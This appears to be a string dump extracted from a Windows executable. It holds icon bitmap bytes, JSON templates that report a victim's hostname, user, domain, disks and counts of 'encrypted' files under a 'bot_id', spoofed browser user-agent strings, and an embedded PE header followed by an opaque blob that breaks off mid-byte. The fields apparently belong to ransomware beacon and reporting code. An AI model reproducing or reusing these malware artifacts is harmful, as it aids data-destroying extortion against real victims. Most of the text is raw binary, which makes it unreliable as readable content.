fallm\xff\xff\xff\xff\x9b\x00\x00\x00\x00\xff\xff\xff\n\x00\x00\x00\x00\xff\xff\xff\x05\xdd\xdd\xdd\xe1\x00\x00\x00\xff555\xfdIII\xfd\xb1\xb1\xb1\xff\xff\xff\xff-\x00\x00\x00\x00\xff\xff\xff\x02\x00\x00\x00\x00\xff\xff\xff\x01\xfe\xfe\xfe\x03\xff\xff\xff\x8c\xdb\xdb\xdc\xff===\xfa!!!\xfa   \xfb#"#\xfb\x0c\x0c\x0c\xfb\x00\x00\x00\xfb\x00\x00\x00\xfb\x08\x08\t\xfb000\xfbXX[\xfeIHO\xfe\x05\x05\x07\xfe///\xfd\xe1\xe1\xe1\xf1\xf2\xf2\xf2\'\xfb\xfb\xfb\x00\xfe\xfe\xfe\x03\x00\x00\x00\x00\xff\xff\xff\x06\xdb\xdb\xdb\xe2\x11\x11\x11\xff\x00\x00\x00\xfe(()\xfe\xd8\xd8\xd8\xff\xff\xff\xff,\x00\x00\x00\x00\xff\xff\xff\x01\xff\xff\xff\x03\x00\x00\x00\x00\xfe\xfe\xfeK\xba\xba\xba\xff\x1d\x1d\x1d\xf5\x1c\x1c\x1c\xfa&%&\xfb&&&\xfb\'\'\'\xfbMMM\xfb)))\xfb\x00\x00\x00\xfb(()\xfb`_`\xfdppq\xffDDD\xfe\x06\x06\x06\xfe444\xfd\xe8\xe8\xe9\xee\xef\xef\xef!\xfb\xfb\xfb\x00\xfe\xfe\xfe\x02\x00\x00\x00\x00\xfb\xfb\xfb\x05\xdf\xdf\xdf\xe1\t\n\t\xff\x00\x00\x00\xfd\x00\x00\x00\xfe\xb1\xb1\xb1\xff\xff\xff\xff,\x00\x00\x00\x00\xff\xff\xff\x01\xff\xff\xff\x04\x00\x00\x00\x00\xff\xff\xff`\xa9\xa9\xa9\xffBBB\xffHIH\xffEEE\xffFFF\xffFFF\xffLLL\xff\x97\x97\x97\xff\\\\\\\xff===\xff\x1a\x1a\x1a\xff\x00\x00\x00\xfe../\xffbaf\xff\x00\x00\x00\xfauuu\xff\xff\xff\xff\x93\x00\x00\x00\x00\xff\xff\xff\n\x00\x00\x00\x00\xe3\xe4\xe0\x05\xeb\xeb\xeb\xe1__b\xff\x02\x02\x03\xfd\x01\x01\x01\xfd\xb3\xb3\xb3\xff\xff\xff\xff-\x00\x00\x00\x00\xff\xff\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x1b\xff\xff\xff\x8c\xff\xff\xff\x93\xff\xff\xff\x93\xff\xff\xff\x94\xff\xff\xff\x94\xff\xff\xff\x94\xff\xff\xff\x94\xff\xff\xff\x93\xff\xff\xff\x92\xff\xff\xff\x9c\xfc\xfc\xfc\xd7\x94\x94\x94\xff\x00\x00\x00\xfe??C\xff((*\xfc(((\xfe\xfd\xfd\xfd\xc8\x97\x97\x9a\x00\xf8\xf8\xf9\x05\x00\x00\x00\x00\xff\xff\xff\x06\xd2\xd2\xd2\xe2::;\xffSSU\xfe\x00\x00\x00\xfe\xb3\xb3\xb3\xfe\xff\xff\xff-\x00\x00\x00\x00\xff\xff\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe1\xe1\xe1\x00\xfc\xfc\xfc\x00\xfd\xfd\xfd\x07\xff\xff\xff\xbaIIJ\xfe\x06\x06\x05\xfbHHH\xfd\x0e\x0e\x11\xff\xed\xed\xf0\xd8??O\x01\xcb\xca\xde\x01\x00\x00\x00\x00\xff\xff\xff\x05\xde\xde\xde\xe1\x00\x00\x00\xffUTV\xfd\x02\x02\x02\xfd\xac\xac\xac\xff\xfd\xfd\xfd(\xfc\xfc\xfc\x00\xfd\xfd\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\xfd\xfd\x02\xfc\xfc\xfc\x00\xfa\xfa\xfatyyy\xff\x00\x00\x00\xf9OOP\xfe\x06\x06\x06\xff\xe4\xe4\xe3\xec\xff\xff\xff\x0e\xff\xff\xfe\x00\x00\x00\x00\x00\xff\xff\xff\x06\xdd\xdd\xdd\xe2\x07\x07\x07\xffKKL\xfe\x00\x00\x00\xfe\xba\xba\xba\xfe\xff\xff\xff=\xff\xff\xff\x16\xff\xff\xff\x18\xff\xff\xff\x16\xff\xff\xff\x14\xff\xff\xff\x16\xff\xff\xff\x16\xff\xff\xff\x15\xff\xff\xff\x18\xff\xff\xff\x18\xff\xff\xff\x15\xff\xff\xff\x16\xff\xff\xff\x16\xff\xff\xff\x16\xff\xff\xff\x16\xff\xff\xff\x17\xff\xff\xff5\xff\xff\xff\xcd==@\xfe\x0c\x0c\r\xfcFFK\xfd\n\n\n\xfe\xef\xef\xef\xdehhi\x04\xe6\xe5\xe7\x01\x00\x00\x00\x00\xff\xff\xff\x05\xde\xde\xde\xe1\x07\x07\x07\xff>>>\xfe\x96\x96\x96\xff\xff\xff\xff\xfe\xe0\xe0\xe0\xf4\xcf\xcf\xcf\xf3\xd2\xd2\xd2\xf3\xcf\xcf\xd0\xf3\xea\xe9\xeb\xf1\xc8\xc8\xc7\xf3\xd0\xd0\xd0\xf3\xcc\xcc\xcc\xf2\xdf\xdf\xe0\xf4\xdc\xdc\xdc\xf5\xc8\xc8\xc7\xf2\xd2\xd2\xd2\xf3\xd1\xd1\xd1\xf3\xd1\xd1\xd1\xf3\xd4\xd4\xd4\xf3\xcf\xcf\xcf\xf2\xba\xba\xba\xff\\[\\\xff\x00\x00\x00\xfe]]b\xff\x0f\x0f\x0f\xfbHHI\xfd\xff\xff\xff\xb7\xd8\xd8\xd9\x00\xfc\xfc\xfc\x07\x00\x00\x00\x00\xff\xff\xff\x05\xdc\xdc\xdc\xdf\x00\x00\x00\xfe\x99\x99\x99\xfd\xff\xff\xff\xfe\xa8\xa8\xa8\xff\x05\x05\x05\xff\x00\x00\x00\xff\x00\x00\x00\xff\x05\x05\x05\xffBBE\xffHHJ\xff\x00\x00\x00\xff\x04\x04\x04\xff\x13\x13\x13\xffa`e\xff\x17\x17\x18\xff\x00\x00\x00\xff\x00\x00\x00\xff\x00\x00\x00\xff\x00\x00\x00\xff\x00\x00\x00\xff\x00\x00\x00\xfe\x0c\x0c\r\xfd\\\\_\xff98A\xfe\x00\x00\x00\xf8\xc1\xc1\xc4\xff\xfc\xfc\xfcK\x00\x00\x00\x00\xff\xff\xff\x06\x00\x00\x00\x00\xf8\xf8\xf8\x06\xd3\xd3\xd3\xed\x92\x92\x93\xff\xff\xff\xff\xfd\xd0\xcf\xd0\xffLLM\xfeGGH\xfeQQR\xff32:\xfe\x00\x00\x00\xfe\x00\x00\x00\xfeFEH\xfeHHJ\xfe\x00\x00\x00\xfe\x00\x00\x00\xfe\x13\x13\x14\xff`_c\xffONP\xffKKL\xffLKL\xfeKKL\xffLLL\xfeVVZ\xfeKKN\xfd\x12\x12\x11\xfb\x05\x05\x05\xfd\x9b\x9b\x9c\xff\xff\xff\xff\x9c\xf6\xf6\xf6\x00\xfd\xfd\xfd\x01\xfd\xfd\xfd\x00\xff\xff\xff\x02\xe9\xe9\xe9\x00\xfa\xfa\xfa\xa4\xff\xff\xff\xff\xaf\xae\xaf\xff\x0f\x0f\x0f\xff\x15\x14\x15\xff\x17\x17\x18\xff\x18\x18\x18\xffRP`\xff@?L\xff\x03\x03\x03\xff\x00\x00\x00\xffGFJ\xffEEG\xff\x04\x04\x04\xff\x00\x00\x00\xff\x04\x04\x04\xff\x17\x17\x17\xff\x15\x15\x16\xff\x16\x16\x16\xff\x16\x16\x16\xff\x16\x16\x17\xff\x16\x16\x17\xff&&&\xffccc\xff\xd3\xd3\xd4\xfe\xff\xff\xff\x8e\xf7\xf7\xf7\x00\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xfe\xfe\x00\xfc\xfc\xfc\x94\xcc\xcc\xcc\xe5\xc3\xc3\xc3\xe5\xc4\xc4\xc4\xe8\xc3\xc3\xc3\xe8\xc2\xc2\xc2\xe8\xc2\xc2\xc1\xe8\xe7\xe6\xed\xe2\xc9\xc9\xc9\xe8\xc9\xc9\xc9\xe8\xc0\xc0\xc0\xe8\xe6\xe6\xe7\xe2\xca\xca\xca\xe7\xc9\xc9\xc9\xe8\xc7\xc7\xc7\xe8\xc2\xc2\xc2\xe8\xc3\xc3\xc3\xe8\xc3\xc3\xc3\xe8\xc3\xc3\xc2\xe8\xc5\xc5\xc5\xe6\xd8\xd8\xd9\xdf\xfd\xfd\xfe\xce\xff\xff\xff\x8e\xff\xff\xff2\xfa\xfa\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe2\xe2\xe2\x00\xff\xff\xff\x01\xfe\xfe\xfe\x00\xff\xff\xff\t\xff\xff\xff\x0b\xff\xff\xff\x0b\xff\xff\xff\x0b\xff\xff\xff\x0b\xff\xff\xff\x0b\xff\xff\xff\x07\xff\xff\xff\x0b\xff\xff\xff\x0b\xff\xff\xff\x0b\xff\xff\xff\x07\xff\xff\xff\n\xff\xff\xff\x0b\xff\xff\xff\x0b\xff\xff\xff\x0b\xff\xff\xff\x0b\xff\xff\xff\x0b\xff\xff\xff\x0b\xff\xff\xff\n\xff\xff\xff\x05\xa4\xa1\xab\x00\x00\x00\x00\x00\xcb\xcb\xcb\x00\xfe\xfe\xfe\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfa\xfa\xfb\x00\xff\xff\xff\x03\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc0\x00\x00\x7f\xc0\x00\x00\x0f\xc0\x00\x00\x07\xc0\x00\x00\x07\xc0\x00\x00\x03\xc1\xff\xfe\x03\xc1\xff\xff\x03\xc1\xff\xff\x03\xc1\xfe\x00\x03\xc1\xfc\x00\x03\xc1\xf8\x00\x07\xc1\xf8\x00\x07\xc1\xf0\x00\x03\xc1\xf8\x00\x03\xc1\xff\xff\x03\xc1\xff\xff\x03\xc1\xff\xff\x03\xc0\x00\x00\x03\xc0\x00\x00\x07\xc0\x00\x00\x07\xc0\x00\x00\x0f\xe0\x00\x00?\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff(\x00\x00\x00\x10\x00\x00\x00 \x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00@\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xac\xac\xac\x00\x00\x00\x00\x00\xb6\xb6\xb6\x00\xb6\xb6\xb6\x00\xb6\xb6\xb6\x00\xb5\xb5\xb5\x00\xbf\xbf\xbf\x00\xb4\xb4\xb5\x00\xbb\xbb\xbc\x00\xb5\xb5\xb6\x00\xb4\xb4\xb5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfc\xfc\xfc\x00\xee\xee\xee-\xf7\xf7\xf8H\xf4\xf4\xf4H\xf5\xf5\xf5H\xf3\xf3\xf3H\xff\xff\xffG\xff\xff\xffH\xff\xff\xffH\xff\xff\xffH\xdd\xdd\xddE\xff\xff\xff!\xff\xff\xff\x16\x00\x00\x00\x00\x00\x00\x00\x00\xf5\xf5\xf5\x00000\x00\x9c\x9c\x9c\xc0FEF\xffJJJ\xffEEF\xffHHH\xffOOP\xff//0\xffPPR\xff889\xff\xac\xac\xac\xff\xb5\xb5\xb5\xf8uuv\xf1\xda\xda\xda\x95\xdc\xdc\xdc\x05\x00\x00\x00\x00\x00\x00\x00\x00\x86\x86\x86\xba$$$\xff999\xffMMN\xffKKK\xff===\xffYY[\xff@@@\xff\x7f\x7f\x80\xf0\xd0\xd0\xd0\xfcQQQ\xff\x1d\x1c\x1f\xff;;>\xff\xcd\xcd\xcdy\xa4\xa4\xa5\x00\x00\x00\x00\x00\x83\x83\x83\xb9\x16\x16\x16\xff\xb2\xb2\xb3\xc6UUV5\xff\xff\xff6\xff\xff\xff6\xff\xff\xff1\xff\xff\xff\'\xff\xff\xff\x10\xfe\xfe\xff\x1d\xdc\xdc\xdcIZZZ\xf1\x1f\x1e!\xff\x95\x95\x95\xbf\x00\x00\x00\x00\t\t\t\x00\x9b\x9b\x9b\xb8\x06\x06\x06\xff\x90\x90\x90\xb3\x00\x00\x00\x00\xcb\xcb\xcc\x00\xe9\xe9\xe9\x00\xff\xff\xff\x05\xff\xff\xff2\xff\xff\xff6\xff\xff\xff3\xdc\xdc\xdc?jij\xec\x1f\x1f \xff\x97\x97\x97\xb9\x05\x05\x05\x00\x07\x07\x07\x00\x92\x92\x92\xb8,,,\xff\x9b\x9b\x9b\xb7\x10\x10\x10\x00\xf3\xf3\xf3\x00\xd5\xd5\xd5%\xa8\xa8\xa9\xdcPPP\xffMMM\xff222\xffOOP\xff//3\xff889\xff\xd4\xd4\xd3q\xad\xad\xae\x00\x00\x00\x01\x00\x8a\x8a\x8a\xb8\x06\x06\x06\xff\xa1\xa1\xa1\xb6\x11\x11\x11\x00\x8e\x8e\x8e\x00\xcd\xcd\xce\xa2WWW\xffAAB\xffKKK\xff666\xffDDE\xff,,-\xff;;<\xff\xd7\xd7\xd7m\xb5\xb5\xb5\x00\r\r\x0f\x00\xa2\xa2\xa3\xb8\x1c\x1c\x1d\xff\x87\x87\x87\xb3\x00\x00\x00\x00\xde\xde\xde\x00\xf3\xf3\xf3\x19\xe5\xe5\xe45\xf9\xf9\xf95\xfc\xfc\xfb5\xff\xff\xff5\xd8\xd8\xd8UYYY\xf1  !\xff\x98\x98\x99\xb7\n\n\x0c\x00\x00\x00\x00\x00\x86\x86\x86\xb9###\xff\xab\xab\xab\xc1111&\xff\xff\xff&\xff\xff\xff\x1e\xff\xff\xff\x19\xff\xff\xff\x19\xff\xff\xff\x18\xff\xff\xff\x18\xda\xda\xda\'tsu\xe8\x1d\x1d\x1f\xff\x95\x95\x95\xc0\x00\x00\x00\x00\x01\x01\x01\x00~~~\xc1\x94\x94\x94\xff\xae\xae\xae\xfeNNN\xfeUUV\xfeaab\xfeLLL\xffjjl\xffRQR\xfePPP\xfeRRR\xff\'\'*\xff77:\xff\xcd\xcd\xcdz\xa3\xa3\xa4\x00\xd3\xd3\xd3\x00\xe6\xe6\xe6\x94\xc3\xc3\xc3\xffOOO\xffJJN\xff337\xff??@\xff222\xff334\xffCCD\xff>>>\xffFFG\xfffff\xfd\xd3\xd3\xd3\xa2\xd5\xd5\xd5\x06\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x03\xd3\xd3\xd3J\xd1\xd1\xd1N\xe3\xe3\xe4N\xf9\xf8\xfcM\xe2\xe2\xe2N\xfb\xfb\xfbL\xdf\xdf\xdfN\xdd\xdd\xdcN\xdd\xdd\xddN\xea\xea\xeaJ\xff\xff\xff)\x00\x00\x00\x00\x00\x00\x00\x00\xf3\xf3\xf4\x00\xfc\xfc\xfc\x00\x00\x00\x00\x00{{{\x00\x9f\x9f\x9f\x00\x9f\x9f\xa0\x00\xac\xac\xb0\x00\x9d\x9d\x9d\x00\xad\xad\xad\x00\xa0\xa0\xa0\x00\xa0\xa0\xa0\x00\x99\x99\x99\x00\x97\x97\x97\x00\xcc\xcb\xcd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00\x80\x03\x00\x00\x80\x01\x00\x00\x8f\xf1\x00\x00\x8f\xf1\x00\x00\x8e\x01\x00\x00\x8c\x01\x00\x00\x8f\xf1\x00\x00\x8f\xf1\x00\x00\x80\x01\x00\x00\x80\x03\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00'


b'"host_hostname":"%s",\r\n"host_user":"%s",\r\n"host_os":"%s",\r\n"host_domain":"%s",\r\n"host_arch":"%s",\r\n"host_lang":"%s",\r\n%s'


b'{\r\n"disk_name":"%s",\r\n"disk_size":"%u",\r\n"free_size":"%u"\r\n}'


b'"disks_info":[\r\n%s\r\n]'


b'Mozilla/5.0 (Windows NT 6.1)'


b'AppleWebKit/587.38 (KHTML, like Gecko)'


b'Chrome/91.0.4472.77'


b'Safari/537.36'


b'Edge/91.0.864.37'


b'Firefox/89.0'


b'Gecko/20100101'


b'\r\nAccept: */*\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate, br\r\nContent-Type: text/plain'


b'{\r\n"bot_version":"%s",\r\n"bot_id":"%s",\r\n"bot_company":"%.8x%.8x%.8x%.8x%",\r\n%s\r\n}'


b'{\r\n"bot_version":"%s",\r\n"bot_id":"%s",\r\n"bot_company":"%.8x%.8x%.8x%.8x%",\r\n"stat_all_files":"%u",\r\n"stat_not_encrypted":"%u",\r\n"stat_size":"%s",\r\n"execution_time":"%u",\r\n"start_time":"%u",\r\n"stop_time":"%u"\r\n}'


b'MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\t\xcd!\xb8\x01L\xcd!This program cannot be run in DOS mode.\r\r\n$\x00\x00\x00\x00\x00\x00\x00PE\x00\x00L\x01\x04\x00\x15YPb\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x03\x01\x0b\x01\x0e\x0c\x00,\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x839\x00\x00\x00\x10\x00\x00\x00@\x00\x00\x00\x00@\x00\x00\x10\x00\x00\x00\x02\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x00p\x00\x00\x00\x04\x00\x00\xd0\x8f\x00\x00\x02\x00\x00\x81\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00@\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xacA\x00\x00P\x00\x00\x00\x00`\x00\x00\xe0\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80@\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`@\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.text\x00\x00\x00\x86*\x00\x00\x00\x10\x00\x00\x00,\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00`.rdata\x00\x00\xa0\x03\x00\x00\x00@\x00\x00\x00\x04\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00@.data\x00\x00\x00`\x02\x00\x00\x00P\x00\x00\x00\x02\x00\x00\x004\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\xc0.rsrc\x00\x00\x00\xe0\x01\x00\x00\x00`\x00\x00\x00\x02\x00\x00\x006\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\xa4\xa4/b\x03U\xc2\x14\xabY]\xbf\x88\x1b\x95xfWO-\x87\xfa!g\xb9 \xbe\xef\xce\xd4\xd3\xe7\\f\xbf8\x9f\xbf\xf2{\xdf\x0b\xa7\xd8\xa9\xf1lQX\xb2\x05\xe0\'"\xeb\x17\x0b\xf3%\xd5\xf5\x8d\xdb/\x1b\x07\x8b,\x9c\x0c\xfb\xa3f\x06\\\t\xbaD\xcd\xb7(S2`\x08\xe8\xe1P1be\xa95\x94VS\x87\xe9\'X3\x91q\xa6d\x8d=z\xd0\xb8\xad\x04,\xac+\n]\x0b4\xe1\xfd5\xaa\xec\xa2\xabH<\x8eH\x16\xe6\x0br\xf0\xac\xf5X\x18\x0e\x8cQ\x11\xc7\xf2:\x08\x85\x84\x1f\xa7\xf9\xa5\xd9\xf9\xe9:\x8399w\x8b\xba\x1a\xccF\x0c\xf6\xfb\x9e\x9d4\xf2\x1f,\xfb.\xc7\x99\x8b\x83D9\xf4c+o\xeb\x89\xf7\xf3\xb4v\xbd\x0f\x0f\\Y\xda\tzR\xbf\xb1+\xc5\x1c\xbc\x8f$\x1d\xedD\xb8\xa9\xa5d\xea\xeec\xc3\x9a\x00\x7f\xe7\x0c\xd8\x92\x8e\xb3N&\xe6}a\xe2\xf2\x02\xbbe\xc3\xf6\x89 \xc7\xfe\xd5\x01\x0f8\xd9\xa1\xc3\xd0#\xb4\x07\xb1\xa5\xbe\r?\x9ce\x05S\xb0\xb1.l\x80q\xc7\xdf\x18\xc6\xd5u\x9d\xe3\xcf\xbdu\xb7\xee\x08\xbf\x1d\xa3\xad\xb6\x96\n\xcd\xf2\x8cr\xdd\x03\xfa\x89\x8d\x16\xa7W4\xa48"\x15r\x89\xca\x95\x16\x97DK\xac\xa5\xbcHW\xd5\xf1\xe6\x0c\xf8\n\xdd\x00\x86-?#\xcbQ\x07f\x84\x12\x13\xbc\x1a\x1f\xa6\x8eRT$\xf3\xbe\x91O:\x8eFF\x03]\xda\xa0\xaf\xaa\xb4&:\xab\xf3\x97k\xa6\x86\xcc\xd5BC\xc6G\x07z\xfc\x94\xf1\x07\x8c}\xa4G\xc4\xdf\x04\xe5\x87M\xbb\x03j\x9f9\xec\x9c\xb0\xa3\x8aM|1\x88\x82C\xb4\xbc\x85\x99?\x9d\x07\x17\x7f\xa6\x829\xd6\xb9\xb4}h\xcf\xd0O\xa9\xed\x88\x8e{\x01\xfd;\xa00k\xee\x13\xc8F\x00\xae\xd1\xda\xb9\xeb\xaeT{\\\xd8\x1a\xa5[P\x96\r\x19\xbd\x06uq\xf8\x89F\xba\xa9\xc2!\xff\x97>K\x90ghY\x92\x17\x01\x01\xef\xaf\xd1B]\xff\xd5\xdc\x924\x8c\xf5fwaOj%Z\xa0\x08\'\xe5\x17X\xd0U\x06\xd3\xc87\x95o\xa6o6$\xde\\}$\x01\xeb:\tt\x05/ED]\x91G\xbc\xfaN\xa9\xf9\x